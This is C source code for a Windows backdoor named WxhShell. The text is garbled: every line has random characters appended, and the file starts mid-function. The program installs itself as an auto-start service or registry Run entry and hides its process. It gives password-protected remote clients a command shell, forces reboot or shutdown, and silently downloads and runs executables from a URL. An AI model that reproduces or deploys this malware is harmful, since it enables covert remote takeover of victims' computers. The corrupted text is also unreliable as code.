    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5jsZJpk$  
    if(Boot(SHUTDOWN)) wB"`lY   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q!YAA\'31  
    else { Fm[3Btn  
    closesocket(wsh); wT+\:y  
    ExitThread(0); rw[Ioyr-  
    } `ix&j8E22w  
    break; n]jw!;  
    } z2 mjm  
  // 获取shell `r&]Ydu:  
  case 's': { vywpX^KPv  
    CmdShell(wsh); 1/J6<FVq  
    closesocket(wsh); f8)fm2^09  
    ExitThread(0); BR:Mcc  
    break; eaDG7+iS  
  } C40o_1g  
  // 退出 c6VyF=2q  
  case 'x': { )D&xyC}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |u+!CR  
    CloseIt(wsh); HbJ^L:/  
    break; +.QJZo_  
    } _[/#t|I}  
  // 离开 !gJw?(8"  
  case 'q': { <4582x,G  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); m%s:4Z%=  
    closesocket(wsh); 0xfF  
    WSACleanup(); 7\yh<?`V8  
    exit(1); k +Cwnp  
    break; &"^U=f@v  
        } `7R-2 w<b?  
  } b8glZb*$  
  } sGc.;":  
I5ZM U  
  // 提示信息 U+&Eps&NI  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xL"O~jTS  
} t$rla _rbY  
  } "6Z(0 iu:{  
\t)`Cp6,[b  
  return; ]AX3ov6z9;  
} \J(kM,ZJ  
9T0g%&  
// shell模块句柄 `yO'-(@"gY  
int CmdShell(SOCKET sock)  BO.Db``  
{ &_74h);2I:  
STARTUPINFO si; ~yJJ00%  
ZeroMemory(&si,sizeof(si)); w@LLxL>Y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Gr#WD=I-}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;3o7>yEv  
PROCESS_INFORMATION ProcessInfo; `UT UrM  
char cmdline[]="cmd"; <(i5hmuVd  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^,aI2vC  
  return 0; ER0B{b  
} `4g}(-  
c:""&>Z  
// 自身启动模式 ri6KD  
int StartFromService(void) <,D*m+BWn  
{ _tE55X&  
typedef struct 8 #:k  
{ &0xM 2J  
  DWORD ExitStatus; "uFwsjz&B  
  DWORD PebBaseAddress; uaZHM@D  
  DWORD AffinityMask; 5]n\E?V'L  
  DWORD BasePriority; [v`kqL~  
  ULONG UniqueProcessId; uF<?y0t  
  ULONG InheritedFromUniqueProcessId; ~0@fK<C)O  
}   PROCESS_BASIC_INFORMATION; A WJA?  
QQv%>=_`  
PROCNTQSIP NtQueryInformationProcess; <T&v\DN  
'.&Y)A6!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [2E(3`-u  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h`iOs>  
Hz)i.AA 4  
  HANDLE             hProcess; u08QE,  
  PROCESS_BASIC_INFORMATION pbi; h J0U-m  
(e0(GOqf4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); KC)}M zt6_  
  if(NULL == hInst ) return 0; r-.>3J  
YrV@k*O*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d</F6aM\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); nv\K!wZI=b  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Qqs1%u;e8  
h~ZLULW)B  
  if (!NtQueryInformationProcess) return 0; A0:rn\$l3  
W#=,FZT  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); W1EYVXN  
  if(!hProcess) return 0; N1B$z3E *  
n>w<vM  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ZJ.an%4  
SMzq,?-`  
  CloseHandle(hProcess); PcqS#!t  
eTuKu(0 E  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [FLR&=.(  
if(hProcess==NULL) return 0; jFUpf.v2  
MpBdke$  
HMODULE hMod; FRQ0t!b<M1  
char procName[255]; K6sXw[VC[  
unsigned long cbNeeded; w)`XM  
@\o"zU  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); I2Imb9k~B  
9g>)7Ne  
  CloseHandle(hProcess); s^K2,D]P  
?^W1WEBm  
if(strstr(procName,"services")) return 1; // 以服务启动 M:b#">M  
gn&Zt}@[  
  return 0; // 注册表启动 )BvMFwQG  
} Hf\sF(, (  
kguZAO6  
// 主模块 +@~WKa  
int StartWxhshell(LPSTR lpCmdLine) aU^6FI  
{ |<5F08]v  
  SOCKET wsl; 6uT*Fg-G  
BOOL val=TRUE; *mbzK*  
  int port=0; 8QZI(Xe9r  
  struct sockaddr_in door; }YVF fi~  
S0Q LM)  
  if(wscfg.ws_autoins) Install(); ml<tH2Qx3C  
.Z  67  
port=atoi(lpCmdLine); y^ |u'XK  
],k~t5+  
if(port<=0) port=wscfg.ws_port; ][ IOlR  
9@yF7  
  WSADATA data; sRA2O/yKCE  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; U3Z=X TB  
t ^[fu,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   m|F1_Ggz  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^6z"@+;*  
  door.sin_family = AF_INET; =$fz</S=J  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); KmTFJ,iM  
  door.sin_port = htons(port); w"wW0uE^  
qz{9ND| )  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { M/dgW` c  
closesocket(wsl); @uldD"MJ<]  
return 1; [ 'lu;1-,  
} vg1J N"S[  
hlB\Xt  
  if(listen(wsl,2) == INVALID_SOCKET) { (+[%^96   
closesocket(wsl); xcU!bDV  
return 1; (D) KU9B>  
} oJ\g0|\qwe  
  Wxhshell(wsl); %l!?d`?  
  WSACleanup(); { ]_j)R  
[&PF ;)i  
return 0; kM{8zpn  
bXOKC  
} Rd5_{F  
66,(yxg  
// 以NT服务方式启动 fg3Jv*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?VmgM"'md  
{ oV0T   
DWORD   status = 0; 9K/EteS  
  DWORD   specificError = 0xfffffff; V<J1.8H  
[I3Nu8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5dI=;L >D  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; J\Pb/9M/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; oDMPYkpTu  
  serviceStatus.dwWin32ExitCode     = 0; ,>h"~X  
  serviceStatus.dwServiceSpecificExitCode = 0; :sJ7Wok6~  
  serviceStatus.dwCheckPoint       = 0; nOvR, 6  
  serviceStatus.dwWaitHint       = 0; _ERtL5^  
G<n75!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); M|mfkIk0MB  
  if (hServiceStatusHandle==0) return; O573AA  
zMFTkDY  
status = GetLastError(); ld@+p  
  if (status!=NO_ERROR) eIY`RMo (  
{ /*T^7Y&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "TZY)\{L  
    serviceStatus.dwCheckPoint       = 0; {pIh/0  
    serviceStatus.dwWaitHint       = 0; $t.oGd@N  
    serviceStatus.dwWin32ExitCode     = status; LhbdvJAk@  
    serviceStatus.dwServiceSpecificExitCode = specificError; jez0 A  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); H.ksI;,  
    return; uBx\xeI  
  } $jg[6`L$  
$|-Lw!)D  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; m0TVi]v  
  serviceStatus.dwCheckPoint       = 0; JM,%| E  
  serviceStatus.dwWaitHint       = 0; Y~g{9 <!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); B[GC@]HE  
} p%>sc  
8%#8PLB2  
// 处理NT服务事件,比如:启动、停止 z7bJV/f  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `}l%61n0  
{ tr[}F7n9  
switch(fdwControl) '7sf)0\:<p  
{ PJC(:R(j  
case SERVICE_CONTROL_STOP: < -`.u`  
  serviceStatus.dwWin32ExitCode = 0; ,%*UF6B M  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; BX0lk  
  serviceStatus.dwCheckPoint   = 0; 6I +0@,I  
  serviceStatus.dwWaitHint     = 0; ES&u*X:  
  { E=ijt3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p|t" 4HQ  
  } `xLsD}32  
  return; GHcx@||C?  
case SERVICE_CONTROL_PAUSE: 5lG\ Z?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7sxX?u  
  break; 'Z4}O_5_  
case SERVICE_CONTROL_CONTINUE: ]u|v7}I4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; n9+33^ PT  
  break; E{u6<B*  
case SERVICE_CONTROL_INTERROGATE: z}!g2d  
  break; pD%(Y^h?  
}; O D}RnKL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~~OFymQ%?q  
} CvY+b^;  
g %f5hy  
// 标准应用程序主函数 *#XZ*Ga  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) '6dVe 2V  
{ Snf_{A<  
1n8[fgz  
// 获取操作系统版本 e.n(NW  
OsIsNt=GetOsVer(); "=Br&FN{|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1P!)4W  
[P`e @$  
  // 从命令行安装 #u hUZq  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2e1KF=N+  
6WY/[TC-  
  // 下载执行文件 @=Q!a (g  
if(wscfg.ws_downexe) { Z v@nK%#J  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) o%t4WQ|bj  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5CFNBb%Xy  
} Qu61$!  
VV$t*9w  
if(!OsIsNt) { ,/{e%J  
// 如果时win9x,隐藏进程并且设置为注册表启动 {JgY-#R?{(  
HideProc(); gm-[x5O"  
StartWxhshell(lpCmdLine); d&j  
} ukSv70Ev  
else Jp=fLo 9  
  if(StartFromService()) xQu|D>kv87  
  // 以服务方式启动 'Zu S  
  StartServiceCtrlDispatcher(DispatchTable); y!#-[K:  
else  rL{R=0  
  // 普通方式启动 N y'\Q"Y]  
  StartWxhshell(lpCmdLine); XDemdMy$  
Z10Vx2B  
return 0; k7CKl;Fck  
} ' P?h?w^T  
y@3p5o9lv-  
t%lat./yT  
rm[C{Pn  
=========================================== >$4# G)s  
I%3[aBz4  
U N9hZ>9  
7)lEZJK&T  
32YbBGDN!f  
[s( D==8  
" K;R H,o1  
l[/`kK  
#include <stdio.h> _ox+5?>  
#include <string.h> cV+?j}"*+  
#include <windows.h> L^sjV/\oW  
#include <winsock2.h> &jP1Q3  
#include <winsvc.h> cpQ5F;FI  
#include <urlmon.h> Nc:s+ o  
xLW$>;kI  
#pragma comment (lib, "Ws2_32.lib") R/+$ :  
#pragma comment (lib, "urlmon.lib") v-1}&K  
R=z])  
#define MAX_USER   100 // 最大客户端连接数 vF27+/2+R  
#define BUF_SOCK   200 // sock buffer XnyN*}8  
#define KEY_BUFF   255 // 输入 buffer QKG3>lU  
3Qy@^"  
#define REBOOT     0   // 重启 CvoFt=c$jE  
#define SHUTDOWN   1   // 关机 npdljLN  
928_e)V  
#define DEF_PORT   5000 // 监听端口 U) J5K  
'$9o(m#  
#define REG_LEN     16   // 注册表键长度 YWFE*wQ!  
#define SVC_LEN     80   // NT服务名长度 ^jL '*&l  
m@Z#  
// 从dll定义API $h#sb4ek  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); o`bc/3!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2d&F<J<sU  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;k<dp7^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 80=0S^gEZ  
:7v'[b  
// wxhshell配置信息 BQ-x#[ %s  
struct WSCFG { &$MC!iMh  
  int ws_port;         // 监听端口 n>Ff tVZNJ  
  char ws_passstr[REG_LEN]; // 口令 :"%/u9<A  
  int ws_autoins;       // 安装标记, 1=yes 0=no QQ(}71U  
  char ws_regname[REG_LEN]; // 注册表键名 L+am-k:T~  
  char ws_svcname[REG_LEN]; // 服务名 3Ua?^2l  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 NAR6q{c  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :viW  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (>al-vZ6A  
int ws_downexe;       // 下载执行标记, 1=yes 0=no lzEynMO+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" qe0D[L  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 M8/a laoT  
`/8@Fj  
}; u^Q`xd1  
'75T2Ud  
// default Wxhshell configuration n7Ao.b%uk-  
struct WSCFG wscfg={DEF_PORT, SMN.AJ J  
    "xuhuanlingzhe", KgL!~J  
    1, q/i2o[f'n  
    "Wxhshell", b($hp%+yJ  
    "Wxhshell", -#v~;Ci  
            "WxhShell Service", V b0T)C  
    "Wrsky Windows CmdShell Service", y9:4n1fg  
    "Please Input Your Password: ", Tgdy;?  
  1, -k'<6op  
  "http://www.wrsky.com/wxhshell.exe", G@8)3 @  
  "Wxhshell.exe" H [=\_X1o(  
    }; x?h/e;  
9K+> ;`  
// 消息定义模块 2\xw2VQ@P  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~7]V^tG  
char *msg_ws_prompt="\n\r? for help\n\r#>"; qN!oN*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9zp!lw~;+  
char *msg_ws_ext="\n\rExit."; &,nv+>D  
char *msg_ws_end="\n\rQuit."; 1QoW/X'>.  
char *msg_ws_boot="\n\rReboot..."; Ew8@{X y  
char *msg_ws_poff="\n\rShutdown..."; .~]|gg~  
char *msg_ws_down="\n\rSave to "; ]eL# bJ  
RTOA'|[0M  
char *msg_ws_err="\n\rErr!"; fLDrit4_Q  
char *msg_ws_ok="\n\rOK!"; !_Lmrs  
Sc<dxY@w7-  
char ExeFile[MAX_PATH]; v3-/ [-XB:  
int nUser = 0; /$~1e7 W  
HANDLE handles[MAX_USER]; R N$vKJk  
int OsIsNt; ,B <\a  
(5yM%H8:  
SERVICE_STATUS       serviceStatus; :/5m D  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }`tSRB7  
;+Jx,{ )  
// 函数声明 0Hnj<|HL  
int Install(void); 8D*7{Q  
int Uninstall(void); 1 .3#PdMR,  
int DownloadFile(char *sURL, SOCKET wsh); =*\s`ox`  
int Boot(int flag); ;blL\|ch;  
void HideProc(void); ?@64gdlwq  
int GetOsVer(void); =2R4Z8G  
int Wxhshell(SOCKET wsl); ":]X r!e  
void TalkWithClient(void *cs); u$nzpw0=H  
int CmdShell(SOCKET sock); 6!<I'M'[e  
int StartFromService(void); "Y&I#&$b\  
int StartWxhshell(LPSTR lpCmdLine); [&lK.?V)  
h@,ja  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); sy&[Q{,4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); J%&LQ9  
SuE~Wb 5&  
// 数据结构和表定义 "zEl2Xn28_  
SERVICE_TABLE_ENTRY DispatchTable[] = 4 Gu'WbJ  
{ &[E\2 E  
{wscfg.ws_svcname, NTServiceMain}, u64#,mC[*  
{NULL, NULL} bC{4a_B  
}; WtM%(8Y[]  
-cgO]q+Oq  
// 自我安装 ipSMmpB  
int Install(void) +H-=`+,  
{ Eb3ZM#  
  char svExeFile[MAX_PATH]; o_:v?Y>0  
  HKEY key; )%(ZFn}  
  strcpy(svExeFile,ExeFile); BA;r%?MRL  
M 8},RR@{  
// 如果是win9x系统,修改注册表设为自启动 ^C>kmo3J  
if(!OsIsNt) {  !:( +#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qGinlE&\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .D*Qu}  
  RegCloseKey(key); -^p{J TB+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DE(XS zX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]*0zir/  
  RegCloseKey(key); [|nK5(e9  
  return 0; bt}8ymcG  
    } {##G.n\~  
  } K~(RV4oF8B  
} DUOoTl p  
else { g)hEzL0k  
[ 8Ohg  
// 如果是NT以上系统,安装为系统服务 /!6'K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  3.&BhLT  
if (schSCManager!=0) Iiy5;:CX:q  
{ 9{Hs1 MD[  
  SC_HANDLE schService = CreateService Yh<F-WOo2  
  ( )nm+_U  
  schSCManager, 4n,&,R r#  
  wscfg.ws_svcname, ETDWG_H |  
  wscfg.ws_svcdisp, 6H#: rM  
  SERVICE_ALL_ACCESS, Y\ [|k-6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *|rdR2R!  
  SERVICE_AUTO_START, .UK0bxoa  
  SERVICE_ERROR_NORMAL, 2BccE  
  svExeFile, WK%cbFq(  
  NULL, XYcZ;Z9:  
  NULL, ;dIk$_FN  
  NULL, g]~vZj  
  NULL, v({O*OR  
  NULL @-@Coy 4Tt  
  ); !6/UwPs  
  if (schService!=0) {vu\qXmMv  
  { oO2DPcK  
  CloseServiceHandle(schService); -H?c4? 5  
  CloseServiceHandle(schSCManager); AR| 4^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 91R# /i  
  strcat(svExeFile,wscfg.ws_svcname); YidcVlOsO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Wa;N(zw0h  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); vC]X>P5Px  
  RegCloseKey(key); *byUqY3(  
  return 0; i?T-6{3I  
    } f;E#CjlTL  
  } +d, ~h_7!  
  CloseServiceHandle(schSCManager); ieyK$q  
} ^t0!Dbx3SE  
} .6y+van  
M;A_'h?Z  
return 1; [RF,0>^b  
} K^WDA])  
%.bDK}  
// 自我卸载 1_Yx]%g<  
int Uninstall(void) C4m+Ta %  
{ QqM[W/&R  
  HKEY key; P(T-2Ux6  
Ca-"3aQkc  
if(!OsIsNt) { f2g tz{r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  AG(6.  
  RegDeleteValue(key,wscfg.ws_regname); KhjC'CU,  
  RegCloseKey(key); `Vvi]>,cg`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^G4YvS(  
  RegDeleteValue(key,wscfg.ws_regname); TQR5V\{&%  
  RegCloseKey(key); Du_5iuMh  
  return 0; TXImmkC  
  } MlV(XG>'  
} ! ._q8q\  
} &}DfIP<  
else { y##h(y  
.}__XWK5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); CW1l;uwtU  
if (schSCManager!=0) UyGo0POW  
{ 45~x #Q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); & bTCTDZh  
  if (schService!=0) n Bm ]?  
  { [F<E0rjwM  
  if(DeleteService(schService)!=0) { (]@S<0  
  CloseServiceHandle(schService); *7Vb([x4;  
  CloseServiceHandle(schSCManager); BA\aVhmx  
  return 0; t<rIg1  
  } 0)&!$@HW  
  CloseServiceHandle(schService); x%dny]O1;  
  } VMah3T!  
  CloseServiceHandle(schSCManager); %lCZ7z2o  
} H-_gd.VD  
} !Fl'?Kz  
g *$2qKm  
return 1; 12`u[O}\}-  
} >axeUd+@i  
w$ 8r<?^3  
// 从指定url下载文件 cSt)Na~C  
int DownloadFile(char *sURL, SOCKET wsh) < $zJi V  
{ 'lIs`Zc5N  
  HRESULT hr; ysnW3q!@  
char seps[]= "/"; 5>}$]d/o  
char *token; rbvk.:"^w  
char *file; vr;`h/  
char myURL[MAX_PATH]; snaAn?I4  
char myFILE[MAX_PATH]; "0eX/ rY%  
D!`;vZ\>  
strcpy(myURL,sURL); ,X!6|l8  
  token=strtok(myURL,seps); Q}#Je.;  
  while(token!=NULL) |=;hQ2HyF  
  { PVb[E03  
    file=token; 0F[ f%2j  
  token=strtok(NULL,seps); C m[}DB  
  } e:O,$R#g  
e)sR$]i:v  
GetCurrentDirectory(MAX_PATH,myFILE); *PF<J/Pr  
strcat(myFILE, "\\"); .n<vhLDQn  
strcat(myFILE, file); $zP5Hzx  
  send(wsh,myFILE,strlen(myFILE),0); )Do 0  
send(wsh,"...",3,0); Pb&tWv\ql  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @^| [J _4  
  if(hr==S_OK) iil<zEic  
return 0; v,<14w  
else R"W}\0k  
return 1; Lt*P&  
G9:XEEN  
} =WTSaC  
XIwJhsYZ'9  
// 系统电源模块 J,}h{-Xy`  
int Boot(int flag) m?w_ ]  
{ m. pm,  
  HANDLE hToken; P&0eu  
  TOKEN_PRIVILEGES tkp; w/|&N>ZOx  
K6DN>0sY  
  if(OsIsNt) { 5Zq hyv=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  l<6G Z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); RU)(|;  
    tkp.PrivilegeCount = 1; wn"}<ka  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "BQnP9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); nCYkUDnZ  
if(flag==REBOOT) { Ty g>Xv  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <YvXyIs  
  return 0; qFmw9\Fn  
} )] @h}K}  
else { cx[^D,usf~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [ U:C62oK,  
  return 0; JL6$7h  
} 4>,X.|9{  
  } GD4S/fn3  
  else { NW1Jr/  
if(flag==REBOOT) { >~o- 6g  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) GK$[!{w;  
  return 0; TUfj\d,  
} v0DDim?cc  
else { /p !A:8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) bWTf P8gT  
  return 0; aqON6|6K  
} ) H,Xkex  
} = wz}yfdrC  
g~DuK|+  
return 1; |N/d }  
} httywa^  
v]k-x n|$j  
// win9x进程隐藏模块 s|\)Y*B`  
void HideProc(void) %jL^sA2;c+  
{ p}^G#h{  
DhE-g<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); b1C)@gl!Z  
  if ( hKernel != NULL ) [lzd'  
  { ,iV%{*p]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @f-:C+(Nsg  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4p"'ox#  
    FreeLibrary(hKernel); Bve|+c6W  
  } iVFOOsJ@  
Cx TAd[az  
return; R,3cJ Y_%  
} 1GYZ1iA  
Yc7 YNC.  
// 获取操作系统版本 t'U=K>7  
int GetOsVer(void) eIvZhi  
{ phy}Hk/  
  OSVERSIONINFO winfo; av'm$I|O  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); oh{>nwH  
  GetVersionEx(&winfo); 7DAP_C  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) w5>[hQR\  
  return 1; ||:> &  
  else %0GwO%h},  
  return 0; \OW:-  
} 3X gJZ  
2F2Hl   
// 客户端句柄模块 DZqPCMz)^  
int Wxhshell(SOCKET wsl) k!Yc_ZB:*l  
{ cC-8.2  
  SOCKET wsh; AlQhKL}|s  
  struct sockaddr_in client; mG1~rI  
  DWORD myID; C~2!@<y  
p]kEH\ sh  
  while(nUser<MAX_USER) UyRy>:n  
{ lsax.uG5x  
  int nSize=sizeof(client); CzBYH   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  ;+~5XLk  
  if(wsh==INVALID_SOCKET) return 1; .`IhxE~mN  
Em!- W5*s  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E&8Nh J  
if(handles[nUser]==0) i)x0 ]XF  
  closesocket(wsh); ov+{<0Q  
else GxhE5f;  
  nUser++; v6 5C j2ec  
  } 'J?{/O^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); k-ZO/yPo  
,-6Oma -  
  return 0; :|bL2T@>[  
} vm@V5oH  
) ^ En  
// 关闭 socket rD}g9?ut  
void CloseIt(SOCKET wsh) T 6D+@i  
{ boojq{cvYA  
closesocket(wsh); 3H,x4L5j  
nUser--; `Abd=1nH  
ExitThread(0); LGhK)]:  
} x'L=p01  
5len} ){  
// 客户端请求句柄 )^(gwE  
void TalkWithClient(void *cs) /5sn*,  
{ {8.Zb NEJ  
>J;TtNE:  
  SOCKET wsh=(SOCKET)cs; z@ `o(gh  
  char pwd[SVC_LEN]; ^os_j39N9  
  char cmd[KEY_BUFF]; {dF@Vg_n  
char chr[1]; L-Q8iFW'  
int i,j; Sqa9+' [  
5qM$ahN3wH  
  while (nUser < MAX_USER) { lc <V_8  
:of([e|u6  
if(wscfg.ws_passstr) { @1o X&#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [l-o*@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N[cIr{XBGN  
  //ZeroMemory(pwd,KEY_BUFF); {YiMd oMhg  
      i=0; jj`#;Y  
  while(i<SVC_LEN) {  N}5  
d}O\:\}y  
  // 设置超时 2WS*c7Ct  
  fd_set FdRead; &h/r]KrZ  
  struct timeval TimeOut; {z>!Fw  
  FD_ZERO(&FdRead); $6n J+  
  FD_SET(wsh,&FdRead); wNUT0+  
  TimeOut.tv_sec=8; _WNbuk0  
  TimeOut.tv_usec=0; S]@;`_?m{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @K <Onh`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /Q st :q  
xuUEJ a&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pEwo}NS*H  
  pwd=chr[0]; 1KUjb@"  
  if(chr[0]==0xd || chr[0]==0xa) { |pHlBzHj  
  pwd=0; $R'?OK(`  
  break; ku,{NY f^Y  
  } O[ z0+Q?6Z  
  i++; &KMI C  
    } Lyc6nP;F  
bhD-;Y!6;  
  // 如果是非法用户,关闭 socket !Q"L)%)'A  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -Y524   
} }aOqoi7w  
8Ay7I  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \HB fM&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7@"X?uo%o  
pJFn 8&!J  
while(1) { `!cdxKLR  
#;8)UNc)}  
  ZeroMemory(cmd,KEY_BUFF); _jX,1+M  
`LoRudf_`  
      // 自动支持客户端 telnet标准   5=V"tQ&d9U  
  j=0; J%"5?)[z  
  while(j<KEY_BUFF) { _=0Ja S>M.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); to: ;:Goa  
  cmd[j]=chr[0]; >\K=)/W2  
  if(chr[0]==0xa || chr[0]==0xd) { x=H{Rv  
  cmd[j]=0; s O#cJAfuu  
  break; #)}BY"C%  
  } 8Ze> hEG  
  j++; c(1tOQk.  
    } 7KiraKb|  
N/F_,>E  
  // 下载文件 _ uOi:Ti  
  if(strstr(cmd,"http://")) { N?m)u,6-l  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9X*Z\-  
  if(DownloadFile(cmd,wsh)) vk|f"I  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); B{\Y~>]Pj  
  else l1]N&jN{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O`CZwXD  
